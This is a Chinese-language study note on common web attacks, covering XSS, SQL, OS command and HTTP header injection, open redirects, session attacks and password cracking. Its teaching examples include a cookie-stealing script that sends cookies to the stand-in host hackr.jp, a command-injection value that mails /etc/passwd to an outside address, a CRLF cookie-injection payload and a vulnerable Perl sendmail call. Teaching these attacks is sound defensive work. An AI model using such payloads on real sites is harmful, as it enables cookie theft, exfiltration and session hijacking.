序言:互联网上的攻击大都将 Web 站点作为目标。本章讲解具体有哪些攻击 Web 站点的手段,以及攻击会造成怎样的影响
一、针对 Web 的攻击技术
简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会 成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标。目前,来自互联网的攻击大多是冲着 Web 站点来的,它们大多把Web 应用作为攻击目标。本章主要针对 Web 应用的攻击技术进行讲解
从整体上看,HTTP 就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势
二、因输出值转义不完全引发的安全漏洞
实施 Web 应用的安全对策可大致分为以下两部分。
- 客户端的验证:不适合作为防范对策,只是为了今早地识别输入错误,提高UI体验的作用。
- Web应用程序的验证
- 输入值验证:按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证检查是否符合系统业务逻辑的数值或检查字符编码等预防对策。
- 输出值转义:当输出值转义不完全时,会因触发攻击者传入的代码,而给输出对象带来损害。
攻击方法:
1、跨站脚本攻击:
通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。动态创建的 HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击
- 在表单中输入HTML标签
- 在表单中输入执行脚本把客户表单中账号密码发送到自己的站点上
- 在表单中执行自己定义好的脚本获取用户Cookie
2、对用户 Cookie 的窃取攻击
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
该脚本内指定的
http://hackr.jp/xss.js
文件。即下面这段采用JavaScript 编写的代码。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的
Web
应用上执行上面这段 JavaScript 程序,即可访问到该
Web
应用所处域名下的
Cookie
信
息。然后这些信息会发送至攻击者的
Web
网站(
http://hackr.jp/
)记录在他的登录日志中。结果,攻击者就这样窃取到用户Cookie
信息了。
3、SQL 注入攻击
SQL
注入(
SQLInjection
)是指针对
Web
应用使用的数据库,通过运行非法的 SQL
而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露.Web 应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用 SQL
语句连接数据库进行特定的操作。如果在调用 SQL
语句的方式上存在疏漏,就有可能执行被恶意注入
非法
SQL
语句。
4、OS 命令注入攻击
OS 命令注入攻击( OS Command Injection )是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。可以从 Web 应用中通过 Shell 来调用操作系统命令。倘若调用 Shell时存在疏漏,就可以执行插入的非法 OS 命令。OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安装着的各种程序。 OS 注入攻击案例 : 下面以咨询表单的发送功能为例,讲解 OS 注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去 下面摘选处理该表单内容的一部分核心代码。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
程序中的
open
函数会调用
sendmail
命令发送邮件,而指定的邮件发送地址即 $adr
的值。 攻击者将下面的值指定作为邮件地址。
; cat /etc/passwd | mail hack@example.jp
程序接收该值,构成以下的命令组合。
/usr/sbin/sendmail ;
cat /etc/passwd | mail hack@example.jp
攻击者的输入值中含有分号(
;
)。这个符号在
OS
命令中,会被解析为分隔多个执行命令的标记。可见,sendmail 命令执行被分隔后,接下去就会执行
cat /etc/passwd | mail hack@example.jp 这样的命令了。结果,含有Linux 账户信息
/etc/passwd
的文件,就以邮件形式发送给了hack@example.jp。
5、HTTP 首部注入攻击
HTTP
首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。
向首部主体内添加内容的攻击称为
HTTP
响应截断攻击(
HTTP Response Splitting Attack)。
如下所示,Web
应用有时会把从外部接收到的数值,赋给响应首部字段 Location
和
Set-Cookie
。
Location: http://www.example.com/a.cgi?q=12345 Set-Cookie:
UID=12345 *12345就是插入值
HTTP
首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。
HTTP 首部注入攻击案例 :
下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解 HTTP
首部注入攻击。该功能为每个类别都设定了一个类别 ID
值,一旦选定某类别,就会将该
ID
值反映在响应内的 Location 首部字段内,形如
Location: http://example.com/?cat=101。令浏览器发生重定向跳转。
攻击者以下面的内容替代之前的类别
ID
后发送请求。
101%0D%0ASet-Cookie:+SID=123456789
其中,
%0D%0A
代表
HTTP
报文中的换行符,紧接着的是可强 制将攻击者网站(
http://hackr.jp/
的会话
ID
设置成 SID=123456789 的
Set-Cookie
首部字段。 发送该请求之后,假设结果返回以下响应。
Location: http://example.com/?cat=101(%0D%0A :换行符)
Set-Cookie: SID=123456789
此刻,首部字段
Set-Cookie
已生效,因此攻击者可指定修改任意 的 Cookie
信息。通过和会话固定攻击(攻击者可使用指定的会
话
ID
)攻击组合,攻击者可伪装成用户。 攻击者输入的 %0D%0A
,原本应该属于首部字段
Location
的查询值部分,但经过解析后,%0D%0A
变成了换行符,结果插入了新的首部字段。这样一来,攻击者可在响应中插入任意的首部字段。 HTTP响应截断攻击:加入两个换行符,重写主体内容。
6、目录遍历攻击
三、因设置或设计上的缺陷引发的安全漏洞
- 强制浏览:浏览器输入框中猜测uri,进行强制浏览。
- 泄露顾客的客人信息
- 泄露原本需要有权限用户才可查阅的内容
- 泄露未连接到外界的文件
- 例子:对日记没有权限查看,但是如果知道图片uri,没有权限也可以查看到图片。
- 不正确的错误信息处理:
- 登录信息错误给得太详细,攻击者可以尝试获取一些账号是否被注册 —— 保留到只给出 认证错误
- 内部系统处理信息抛出给用户看见,攻击者根据系统信息获取到一些系统关系。
- PHP脚本错误
- 数据库或者中间件错误
- Web服务器错误
- 开放重定向:将重定向设置为攻击者网站
http://example.com/?redirect=http://www.tricorder.jp
攻击者把重定向指定的参数改写成已设好陷阱的
Web
网站对应的连接,如下所示。
http://example.com/?redirect=http://hackr.jp
用户看到
URL
后原以为访问
example.com
,不料实际上被诱导至hackr.jp 这个指定的重定向目标。可信度高的 Web
网站如果放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板
四、因会话管理疏忽引发的安全漏洞
1、会话劫持:攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。
2、会话固定攻击:对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。
3、跨站点请求伪造:跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击
五、其他安全漏洞
1、密码破解
- 通过网络的密码试错
- 穷举法:把可能的密码集合一个一个尝试,总有正确的,但是候选密码很庞大时,解密需要数年或者千年。
-
字典攻击:考虑到把生日日期数值化,比如将0101-1231保存成字典进行尝试。花费时间短,不一定成功。
2、对已加密密码破解
侵入系统,获得加密或散列处理的密码数据情况,一般不会直接以明文的方式保存密码,通过散列函数或者加salt的手段对要保存的密码本身加密。
- 通过穷举法字典攻击进行类推:尝试调用相同的散列函数加密候选码与目标散列值匹配。
- 彩虹表:由明文密码及与之对应的散列值构成的一张数据库表,可在穷举法字典攻击等实际破解过程中缩短耗时。
- 拿到密钥:使用共享密码加密式对密码数据进行加密处理,如果能通过某手段拿到加密使用的密钥也就可以对密码数据解密了。
- 加密算法漏洞:难找漏洞,难以成功。
3、Dos(Denial of Service attack)攻击:让运行服务器呈停止状态的攻击
- 集中理由访问请求造成资源过载。
- 攻击安全漏洞使服务停止。
4、后门程序:指开发时设置隐藏入口,可不按正常步骤使用受限功能。
- 开发阶段debug调用的后门程序
- 开发者为自身利益植入的
- 攻击者通过某种方法设置的